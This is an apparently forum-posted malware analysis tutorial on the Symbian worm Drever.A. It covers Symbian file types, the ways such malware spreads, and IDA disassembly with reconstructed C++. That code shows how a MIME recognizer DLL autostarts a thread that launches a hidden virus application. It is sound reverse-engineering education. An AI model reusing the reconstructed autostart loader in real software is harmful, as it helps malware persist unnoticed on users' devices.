Tutorial: Understanding Symbian virus (I)

Part 1. Basic

1.        Symbian OS common files:

        .sis        - Application setup package(You can get unsis tool from Symbian.com site, and it need Perl to run);
        .jar        - j2me application package(zip format);
        .app/.exe/.mdl/.dll                - application file;
        .aif        - Application Information File;
       
        etc.

2. Symbian OS common application files:

        App                        - Most of application is in this type (It likes execute file on windows in function, but it is most likes dynamic link library in implementation);

        Console exe        - only for testing, few;

        Dll                        - dynamic link library in symbian;

        Mdl                        - a special type dynamic link library, use to autostart, the file will release to c:\system\recogs directory, fullname is MIME Recognizer Dll;

3. virus spread way:

        Trojan                - most in app format, few in console exe format, trojan application will run directly;

        Worm                - most in app format, worm will setup a MDL file to start main app automaticly, and spread itself by infrared, bluetooth, MMS or email;

        Virus                - infect EPOC32 format file?

Part 2. Analyze MDL sample for "Drever.A"

        Instruction:
       
        1. Symbian OS support several CPU architectures, the most mobile is using ARM. The virus analyzed in this text is also on ARM platform, so reader should know the BASIC ARM INSTRUCTION AND ARM PROGRAMMING.
       
        2. My main tool is IDA Pro 4.8. For reducing to use memory, Symbian OS APIs do not export the name(only by order), so we could not see the API name directly. I have written a IDA plugin to try to fix this problem. (The plugin is in testing, so I have not provided it yet. If you need or wanna try it, please contact me by email: jay_zephyr2002@yahoo.com.cn)

        3. How to pass the parameters in Symbian OS API or function:
                1) System will use R0-R3 to pass the parameters, generally speaking;
                2) If there is more than 4 parameters, the other parameters will be pass by stack;
                3) class method (not static) will use R0 to pass the class this pointer;
                4) return value is use R0 register;

===============================================================================
MDL application loading flow：

        Symbian OS MDL Loader
                ->        1. E32Dll(TDllReason)        // exported by mdl file, entrypoint
                ->        2. CreateRecognizer()        // exported by mdl file, order = 1
===============================================================================

1. See Entrypoint in IDA result:

---------------------------[ BEGIN IDA DISASSEMBLE ]---------------------------
.text:10000000  Start:
.text:10000000      B       loc_10000248
.text:10000248  loc_10000248:
.text:10000248      MOV     R0, #0
.text:1000024C      BX      LR
----------------------------[ END IDA DISASSEMBLE ]----------------------------

this is the E32Dll function in C program, the source is just like:

////////////////////////////////////////////////////////////////////////////////
// C++ functions
GLDEF_C TInt E32Dll(TDllReason /*reason*/)
{
        return 0;        // KErrNone
}
////////////////////////////////////////////////////////////////////////////////

2. View "CreateRecognizer" function (the same reason, the CreateRecognizer function is exported by order 1, not by name):

---------------------------[ BEGIN IDA DISASSEMBLE ]---------------------------
.text:10000218       EXPORT CreateRecognizer
.text:10000218  CreateRecognizer:
.text:10000218       STMFD   SP!, {R4,LR}
.text:1000021C       MOV     R0, #0x128
.text:10000220       BL      CBase::__nw(uint)
.text:10000224       SUBS    R4, R0, #0
.text:10000228       BEQ     faile_to_alloc_mem        ; if R0 == 0 then memory alloc failed!
.text:1000022C       MOV     R0, R4
.text:10000230       BL      recognizer_constructor        ; invoke recognizer constructor!
.text:10000234       MOV     R4, R0
.text:10000238
.text:10000238  faile_to_alloc_mem:
.text:10000238       BL      do_exe_virus_body
.text:1000023C       MOV     R0, R4
.text:10000240       LDMFD   SP!, {R4,LR}
.text:10000244       BX      LR
----------------------------[ END IDA DISASSEMBLE ]----------------------------

translate the assemble codes to C++ codes:

////////////////////////////////////////////////////////////////////////////////
// C++ functions
EXPORT_C CApaDataRecognizerType * CreateRecognizer()
{
        CApaDataRecognizerType * rg = new MyRecognizer();
        do_exe_virus_body();
       
        return rg;
}
////////////////////////////////////////////////////////////////////////////////

I have analyzed all codes for MyRecognizer class, and do not find any malware codes. I put the whole MyRecognizer class code at the end of this text.

Let's check the function "do_exe_virus_body", this is the virus codes.

---------------------------[ BEGIN IDA DISASSEMBLE ]---------------------------
.text:10000068  do_exe_virus_body:
.text:10000068       STMFD   SP!, {R4,R5,LR}
.text:1000006C       SUB     SP, SP, #0x10
.text:10000070       MOV     R0, #4
.text:10000074       BL      __builtin_new
.text:10000078       SUBS    R5, R0, #0
.text:1000007C       LDRNE   R3, =0xFFFF8001
.text:10000080       STRNE   R3, [R5]
.text:10000084       MOV     R3, #0x100
.text:10000088       STR     R3, [SP,#arg_0] ; param4
.text:1000008C       STR     R3, [SP,#arg_4] ; param5
.text:10000090       MOV     R4, #0
.text:10000094       STR     R4, [SP,#arg_8] ; param6
.text:10000098       MOV     R3, #1
.text:1000009C       STR     R3, [SP,#arg_C] ; param7
.text:100000A0       MOV     R0, R5          ; this pointer
.text:100000A4       LDR     R1, =aSaboot    ; param1
.text:100000A8       LDR     R2, =ThreadProc ; param2
.text:100000AC       MOV     R3, #0x2000     ; param3
.text:100000B0       BL      RThread::Create(TDesC16 const &,int (*)(void *),int,int,int,void *,TOwnerType)
.text:100000B4       BL      User::LeaveIfError(int)
.text:100000B8       MOV     R0, R5
.text:100000BC       MOV     R1, R4
.text:100000C0       BL      RThread::SetPriority(TThreadPriority)
.text:100000C4       MOV     R0, R5
.text:100000C8       BL      RThread::Resume(void)
.text:100000CC       MOV     R0, R5
.text:100000D0       BL      RHandleBase::Close(void)
.text:100000D4       B       loc_100000E4
.text:100000E4
.text:100000E4  loc_100000E4:
.text:100000E4       ADD     SP, SP, #0x10
.text:100000E8       LDMFD   SP!, {R4,R5,LR}
.text:100000EC       BX      LR
----------------------------[ END IDA DISASSEMBLE ]----------------------------

OK, very easy, isn't it? Let's convert it. The result is:

////////////////////////////////////////////////////////////////////////////////
// C++ functions
void do_exe_virus_body()
{
        RThread thread;
        _LIT(KTxtName, "aSaboot");
       
        User::LeaveIfError(
                thread.Create(
                        KTxtName, ThreadProc,
                        0x2000, 0x100, 0x100,
                        NULL, EOwnerThread)
                );
       
        thread.SetPriority(EPriorityNormal);
        thread.Resume();
        thread.Close();
}
////////////////////////////////////////////////////////////////////////////////

Now, we give the ThreadProc function codes (For lazy, I only show the C++ source):

////////////////////////////////////////////////////////////////////////////////
// C++ functions
TInt ThreadProc(TAny * /* arg */)
{
        TRAPD(err, exe_virus_app());
        return 0;
}

void exe_virus_app()
{
        const TUid uid = {0x100052C6};
        _LIT(KTxtVirusApp, "C:\system\apps\Gavnowin!\Gavnowin.app");

        RSystemAgent sa;
        RTimer timer;
        TInt n = 0;

        TRequestStatus req = 0x80000001;

        sa.Connect();
        sa.NotifyIREventSynchronously(0);
        timer.CreateLocale();

        while (sa.GetStatus()) {
                if (n>5) break;
                n++;

                timer.After(&req, 0x4C4B40);
                WaitForRequest(&req);       
        }

        sa.Close();
        EikDll::StartExeL(KTxtVirusApp);
}

////////////////////////////////////////////////////////////////////////////////
// Text end

OK, that's all! If you found any bugs, please let me know.
Thanks for reading.

================================================================================
Appendix:
================================================================================
The follow is the MyRecognizer class source:

////////////////////////////////////////////////////////////////////////////////
// File name: MyRecognizer.h
////////////////////////////////////////////////////////////////////////////////

#include <apmrec.h>

const TUid MyUid = {0x101FEB56};

class CMyRecognizer : public CApaDataRecognizerType
{
public:
        CMyRecognizer();

        virtual ~CMyRecognizer();
       
        virtual TUint PreferredBufSize();
        virtual TDataType SupportedDataTypeL(TInt index) const;
       
private:
        virtual void DoRecognizeL(const TDesC& name, const TDesC8& buf);
};

////////////////////////////////////////////////////////////////////////////////
// File name: MyRecognizer.cpp
////////////////////////////////////////////////////////////////////////////////
#include "MyRecognizer.h"

CMyRecognizer::CMyRecognizer():
        CApaDataRecognizerType(MyUid, 0)
{
}

CMyRecognizer::~CMyRecognizer()
{
}

TUint CMyRecognizer::PreferredBufSize(TInt index)
{
        return 0;
}

TDataType CMyRecognizer::SupportedDataTypeL(TInt index) const
{
        return TDataType();
}

void CMyRecognizer::DoRecognizeL(const TDesC& name, const TDesC8& buf)
{
}
////////////////////////////////////////////////////////////////////////////////
//:~

呵呵,补上文中提到的 IDA Pro plugin (for 4.8)

附件密码：codez

[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课